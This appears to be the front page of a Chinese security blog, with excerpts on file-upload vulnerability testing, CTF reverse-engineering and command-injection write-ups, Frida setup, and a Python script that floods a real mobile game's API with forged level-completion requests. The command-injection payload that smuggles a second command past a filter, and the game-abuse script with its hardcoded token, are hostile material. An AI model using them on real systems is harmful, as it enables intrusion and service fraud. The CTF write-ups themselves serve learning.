與其悔當日,不如奮今朝


post @ 2022-09-30

Intro

Nil

Upload-labs

项目地址:https://github.com/c0ny1/upload-labs

上传漏洞类型

image-20221001005305992

靶机包含漏洞类型分类

image-20221001005001448

文件上传漏洞测试流程

  1. 对文件上传的地方按照要求上传文件,查看返回结果(路径,提示等)
  2. 尝试上传不同类型的“恶意文件”,比如xx.php文件,分析结果
  3. 查看html源码,看是否通过js在前端做了上传限制,可以绕过
  4. 尝试使用不同方式进行绕过:黑名单绕过/MIME类型绕过/目录0x00截断绕过等
  5. 猜测或者结合其他漏洞(比如敏感信息泄露等)得到木马路径,连接测试
阅读全文


Intro

之前一直使用WSL2,但是它存在几个问题:

  1. Windows需开启HyperV虚拟化平台,可能导致一定程度的性能损失
  2. vmware无法开启Intel VT-x虚拟化(使用Hyper-V API - 虚拟化),可能导致某些虚拟机运行缓慢。
  3. WSL2运行非原生完整Linux
  4. 无法连接宿主机USB等外接设备(或者很麻烦)

使用VMware

首先关闭WSL2,HyperV虚拟化平台等Windows功能,此处不赘述

在要长期运行的虚拟机目录创建一个bat脚本,内容如下:

1
"D:\path\to\VMware Workstation\vmrun.exe" -T ws start "D:\path\to\ubuntu22.vmx" nogui

在本地组策略编辑器下新建登录脚本

image-20220925180356789

image-20220925180415814

阅读全文


接口

先重定向第二关的请求接口到第一关,开始游戏,所有关卡变成第一关,手动通关后抓包到通关接口

1
http://cat-match.easygame2021.com/sheep/v1/game/game_over?rank_score=1&rank_state=1&rank_time=15&rank_role=1&skin=1

token

获取token始终没找到请求记录,于是通过对咩咩羊-羊了个羊小工具的逆向工程得知以下过程:

游戏先请求user_info接口查询uid对应用户信息,然后通过响应的wx_open_id请求login_oppo接口获取token

uid在游戏右上角设置里

脚本

修改次数和uid就可以跑了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests, json
from threading import Thread

# 通关次数
num = 100000
# uid
uid = 你的uid

print(f"用户uid: {uid}\n通关次数: {num}")

# 获取用户open_id
r = requests.get(
f"https://cat-match.easygame2021.com/sheep/v1/game/user_info?uid={uid}",
headers={
"t": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTAwMjA0MDIsIm5iZiI6MTY1ODkxODIwMiwiaWF0IjoxNjU4OTE2NDAyLCJqdGkiOiJDTTpjYXRfbWF0Y2g6bHQxMjM0NTYiLCJvcGVuX2lkIjoiIiwidWlkIjoxMDAwMDEsImRlYnVnIjoiIiwibGFuZyI6IiJ9.NQZAWBLYtq6hBff9YjNcaI2Soa6Z5vwbIU7YnjP1KBQ",
},
)
wx_open_id = json.loads(r.text)["data"]["wx_open_id"]

# 获取用户token
r = requests.post(
"https://cat-match.easygame2021.com/sheep/v1/user/login_oppo",
data={"uid": wx_open_id, "nick_name": "14633282", "avatar": "123123123", "sex": 1},
)
token = json.loads(r.text)["data"]["token"]


def j(i):
r = requests.get(
url="http://cat-match.easygame2021.com/sheep/v1/game/game_over?rank_score=1&rank_state=1&rank_time=15&rank_role=1&skin=2",
headers={
"Cookie": f"t={token}"
},
)
if json.loads(r.text)["err_code"] == 0:
print(f"{i}次通关")
else:
print(f"第{i}次通关失败!")

for i in range(num):
t = Thread(target=j, args=[i])
t.start()


阅读全文


post @ 2022-09-13

我的终端环境一直是用的zsh + oh-my-zsh + zsh-syntax-highlighting + zsh-autosuggestions + powerlevel10k的配置。安装很简单,这里直接把shell放在一起方便复用。

Install

安装前的准备:你需要安装好git,并配置好git、apt、wget的代理或镜像源设置。

为配合powerlevel10k的shell主题最好设置终端字体,详见 https://github.com/romkatv/powerlevel10k#Fonts

1
2
3
4
5
6
sudo apt install zsh
sh -c "$(wget https://raw.github.com/ohmyzsh/ohmyzsh/master/tools/install.sh -O -)"
chsh -s /bin/zsh
git clone https://github.com/zsh-users/zsh-syntax-highlighting.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting
git clone https://github.com/zsh-users/zsh-autosuggestions ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-autosuggestions
git clone --depth=1 https://github.com/romkatv/powerlevel10k.git ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k

完成后修改~/.zshrc的插件列表和主题

1
2
ZSH_THEME="powerlevel10k/powerlevel10k"
plugins=( [plugins...] zsh-syntax-highlighting zsh-autosuggestions)
阅读全文


前言

随身wifi,价格低廉,可以跑安卓、openwrt、debian

文章比较简略,感兴趣请参考底部链接

买的三个设备:

image-20220720222204727

分别是uz801、ufi001c、ufi003_mb方案

便宜的随身 Wi-Fi 基本用的都是工模的方案,像是高通的 410、高通的 210、中兴微等方案,外观差别可能很大,内在或许都是同一种方案(同一种方案具体的板子也会有不同),当然也会有可能同一个商品发给买家不同的型号。我们这里使用的只能是高通骁龙410的方案

板子上的丝印是 UFI001B、UFI001C、UFI003、UFI-W-001 最好,或者 SP970(不推荐,细分版本目前13个太多,基本要短接才能进 9008 模式,然后现在的 openwrt Wi-Fi 也有问题)、UZ801 也 OK;需要带卡槽、能切卡

大部分都是4gb存储,uz801有几率买到8gb版本。

备份

阅读全文


一个人做了所有题,说实话有点累,哎

RE

babynim

和初赛一样的nim语言逆向,die识别出了虚拟机保护但实际上关键代码没有保护,有之前的经验逆起来更简单了,就是输入的字符串转换成大数与一个常数相乘(还伪装得很像一个flag),结果与常数相等。

所以除一下就是flag了。

审计后的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
__int64 NimMainModule()
{
FILE *stdio; // rax
String *input; // rax
__int64 *v2; // rdx
String *input_copy; // rsi
__int64 v4; // rdi
__int64 checkhello3_copy; // rax
__int64 index; // rbx
String *pre_5_String; // rdi
String *input_copy_copy; // rdi
__int64 input_copy_len; // rdx
__int64 v11; // rdx
__int64 index_2; // rbx
__int64 v13; // rcx
String *flag_content_string; // rbp
__int64 length; // rdx
unsigned __int64 v16; // rsi
__int64 star_des_copy; // rbx
__int64 v18; // rdx
unsigned __int64 v19; // rcx
__int64 unknownProperty; // rdi
__int64 *p_unknownProperty; // rdx
__m128i tmp_si128_2; // [rsp+20h] [rbp-58h] BYREF
__m128i tmp_si128_1; // [rsp+30h] [rbp-48h] BYREF
__int64 star_des_1; // [rsp+40h] [rbp-38h] BYREF
__int64 v25; // [rsp+48h] [rbp-30h]

nimRegisterGlobalMarker(TM__xLHv575t3PG1lB5wK05Xqg_4);
nimRegisterGlobalMarker(TM__xLHv575t3PG1lB5wK05Xqg_10);
nimRegisterGlobalMarker(TM__xLHv575t3PG1lB5wK05Xqg_11);
nimRegisterGlobalMarker(TM__xLHv575t3PG1lB5wK05Xqg_13);
nimRegisterGlobalMarker(TM__xLHv575t3PG1lB5wK05Xqg_14);
nimRegisterGlobalMarker(TM__xLHv575t3PG1lB5wK05Xqg_15);
PutStdio(&TM__xLHv575t3PG1lB5wK05Xqg_2, 1i64);
stdio = __acrt_iob_func(0);
input = (String *)readLineFromStdio(stdio);
input_copy = input;
if ( !input )
{
if ( ::input_copy )
{
unknownProperty = ::input_copy[-1].unknownProperty;
p_unknownProperty = &::input_copy[-1].unknownProperty;
::input_copy[-1].unknownProperty = unknownProperty - 8;
if ( (unsigned __int64)(unknownProperty - 8) <= 7 )
addZCT__system_5314(refptr_gch__system_5267 + 3, p_unknownProperty);
::input_copy = 0i64;
}
goto error;
}
input[-1].unknownProperty += 8i64;
if ( ::input_copy
&& (v4 = ::input_copy[-1].unknownProperty,
v2 = &::input_copy[-1].unknownProperty,
::input_copy[-1].unknownProperty = v4 - 8,
(unsigned __int64)(v4 - 8) <= 7) )
{
addZCT__system_5314(refptr_gch__system_5267 + 3, v2);
::input_copy = input_copy;
if ( input_copy->length != 42 )
goto error;
}
else
{
::input_copy = input;
if ( input->length != 42 ) // 长度42
{
error:
checkhello3_copy = check__hello_3;
goto error_;
}
}
index = 0i64;
pre_5_String = mnewString(5i64, v2);
if ( !pre_5_String )
raiseIndexError2(0i64, -1i64);
do
{
if ( (unsigned __int64)index >= pre_5_String->length )
raiseIndexError2(index, pre_5_String->length - 1);
if ( (unsigned __int64)index >= input_copy->length )
raiseIndexError2(index, input_copy->length - 1);
pre_5_String->content[index] = input_copy->content[index];
++index;
}
while ( index <= 4 ); // 提取前5字节flag{到new_string_1
if ( pre_5_String->length != 5 || *(_DWORD *)pre_5_String->content != 1734437990 || pre_5_String->content[4] != 123 )
goto error;
input_copy_copy = ::input_copy;
if ( !::input_copy )
{
v11 = -1i64;
LABEL_21:
raiseIndexError2(41i64, v11);
}
input_copy_len = ::input_copy->length;
if ( ::input_copy->length <= 0x29ui64 )
{
v11 = input_copy_len - 1;
goto LABEL_21;
}
checkhello3_copy = check__hello_3;
if ( BYTE1(::input_copy[2].unknownProperty) == '}' )// 确定最后一字节
{
index_2 = 0i64;
flag_content_string = mnewString(36i64, input_copy_len);
if ( !flag_content_string )
raiseIndexError2(0i64, -1i64);
do
{
length = flag_content_string->length;
if ( flag_content_string->length <= (unsigned __int64)index_2 )
raiseIndexError2(index_2, length - 1);
v16 = index_2 + 5;
if ( index_2 + 5 < 0 || v16 < index_2 )
raiseOverflow(v13, length);
if ( input_copy_copy->length <= v16 )
raiseIndexError2(index_2 + 5, input_copy_copy->length - 1);
flag_content_string->content[index_2++] = input_copy_copy->content[v16];
}
while ( index_2 <= 35 ); // 提取36字节flag括号内数字内容
InitBigInt(flag_content_string, 10i64, &flag_Int);// InitBitInt(src*, 进制, des*)
InitBigInt(&Const_String_1, 10i64, &const_string_1_Int);
star_des_1 = 0i64;
v25 = 0i64;
tmp_si128_1 = _mm_loadu_si128((const __m128i *)&flag_Int);// 输入的int
tmp_si128_2 = _mm_loadu_si128((const __m128i *)&const_string_1_Int);// 常量1
multiply((__int64)&tmp_si128_1, (__int64)&tmp_si128_2, &star_des_1);
star_des_copy = star_des_1;
if ( star_des_1 )
*(_QWORD *)(star_des_1 - 16) += 8i64;
if ( star_des_copy_copy )
{
v18 = star_des_copy_copy - 16;
v19 = *(_QWORD *)(star_des_copy_copy - 16) - 8i64;
*(_QWORD *)(star_des_copy_copy - 16) = v19;
if ( v19 <= 7 )
addZCT__system_5314(refptr_gch__system_5267 + 3, v18);
}
star_des_copy_copy = star_des_copy;
byte_42C188 = v25;
genericSeqAssign(&star_des_deep_copy);
BYTE8(star_des_deep_copy) = byte_42C188;
InitBigInt(&const_String_2, 10i64, &const_string_2_int);
tmp_si128_1 = _mm_loadu_si128((const __m128i *)&star_des_deep_copy);// 结果1
tmp_si128_2 = _mm_loadu_si128((const __m128i *)&const_string_2_int);// 常量结果
if ( eqeq___6758Z85sersZ65ZOnimbleZpkgsZbigints4548O53O48Zbigints_259(&tmp_si128_1, &tmp_si128_2) )
{ // 比较
check__hello_3 = 1i64;
return PutStdio(&String_Win, 1i64);
}
goto error;
}
error_:
if ( checkhello3_copy != 1 )
return PutStdio(&error_string, 1i64);
return PutStdio(&String_Win, 1i64);
}

exp:

1
2
3
4
5
6
7
8
9
10
11
# input = 123456789012345678901234567890123456
# input = 0xb1f36611aeca2ac04775feb51d2b7f

const_one = 56006392793428440965060594343955737638876552919041519193476344215226028549209672868995436445345986471

# print(hex(input * const_one))

const_two = 51748409119571493927314047697799213641286278894049840228804594223988372501782894889443165173295123444031074892600769905627166718788675801

print(hex(const_two // const_one))
# print(input)

MISC

阅读全文


post @ 2022-08-01

[GXYCTF2019]Ping Ping Ping

rce bypass:空格绕过

过滤了常用命令行字符

image-20220801184211994

payload:

1
/?ip=127.0.0.1;cat$IFS$9`ls`
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$flag = "flag{b86f81d8-ad3d-40db-9c96-6608515e33da}";
?>
/?ip=
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}

?>

浅谈CTF中命令执行与绕过的小技巧 | Pupiles blog

RCE的Bypass与骚姿势总结 - 腾讯云开发者社区-腾讯云

Linux Shell 中的反引号,单引号,双引号

阅读全文


post @ 2022-07-28

介绍

frida是平台原生appGreasemonkey,说的专业一点,就是一种动态插桩工具,可以插入一些代码到原生app的内存空间去,(动态地监视和修改其行为),这些原生平台可以是WinMacLinuxAndroid或者iOS。而且frida还是开源的。

框架从Java层hook到Native层hook无所不能,虽然持久化还是要依靠Xposedhookzz等开发框架,但是frida的动态和灵活对逆向以及自动化逆向的帮助非常巨大。

安装和部署frida

官方网站:Frida • A world-class dynamic instrumentation framework | Inject JavaScript to explore native apps on Windows, macOS, GNU/Linux, iOS, Android, and QNX

安装

1
2
pip install frida-tools
frida --version

部署frida-server

前往github项目Releases · frida/frida

下载相同版本的frida-server发行文件,注意请使用测试机器上的架构,如果是模拟器则是x86的

使用adb连接手机后,将文件上传到手机/data/local/tmp文件夹

阅读全文


阅读全文


总结自B站大佬逆向黑客零基础入门路线以及学习资料和书籍_哔哩哔哩_bilibili手机写的,比较混乱将就看吧

首先语言肯定要懂c++,学起来比较平顺的是visual c++2013入门经典(第七版)十二章之前看完就行了,然后就是汇编语言基本上你能看懂就行了,王爽或者黑皮书,然后你就要了解操作系统,windows看精通windowsapi,看完才真正能够在windows下做东西了,但是用起来还有很多注意的地方更深入的了解内存和操作系统一些机制就要去看windows核心编程(第五版),这些都是基于windows公开api,还有非公开的api有windowsnt/2000本机api,这书中文基本上买不到了,应用层的开发你基本上懂了就可以去看内核的开发,这里有windows内核编程,包含内核驱动开发的东西,然后源代码现在微软泄漏了xp的源代码,可以对着去看他是怎么实现内存管理异常管理这些东西,内核开发会了以后可以去了解windows底层的实现的机制,可以去看windows内核原理与实践,也讲了很多细节性的东西,然后有本比较小的windows内核安全编程,适合快速地看一下,这几本书看完再加上源代码看的差不多再内核基本上你去一些杀毒软件公司当一个比较强的技术岗没什么太大问题了,那么windows的修行到这个地方就可以了,逆向的话静态分析像ida这种工具使用还是比较简单复杂主要是在他的使用技巧上面这里有idapro权威指南,然后你会发现逆向汇编看不懂干了啥,这里比较好的就是钱林松的c++反汇编与逆向分析技术揭秘,这本书看懂了你可以把汇编还原成c++到了后期你一看到汇编代码脑子里马上就是c语言代码,除了静态分析以外动态调试讲得最全的一本书就是张银奎的调试软件,你有了这些调试的技术以后遇到问题你也好处理了,你也明白调试是什么样子的了,有了这些东西你分析肯定能分析了,逆向也能逆向了,但是你要想怎么做的更快,更敏捷迅速更强,这时候就考验你对代码的识别能力这里你就要懂数据结构和算法,这里有两本黑皮书可以看,除此之外windows最重要的数据结构就是pe,这里可以看windowspe权威指南,这东西你看一眼目录将来用的时候可以拿来查,基本上到了看这个书的时候你的学习能力已经非常强了,到了这个阶段基本上ok了,你的逆向分析能力开始上段位了,这个时候想让逆向能力更上一层楼上限就取决于你的开发能力,所以你肯定要有项目的经验比较好的就是做一个像远程桌面的项目,可以用到p2p或者cs的技术,发现知识面不够可以去看tcp/ip网络编程比较简单,然后再自己做个调试器,接下来就是大量的分析对程序彻彻底底从头到尾捋明白了,业余学逆向最大的问题就是有时候能搞出来有时候你能搞出来,所以核心的问题就是什么时候都可以分析出来,这个时候基本上你就成功了

阅读全文
⬆︎TOP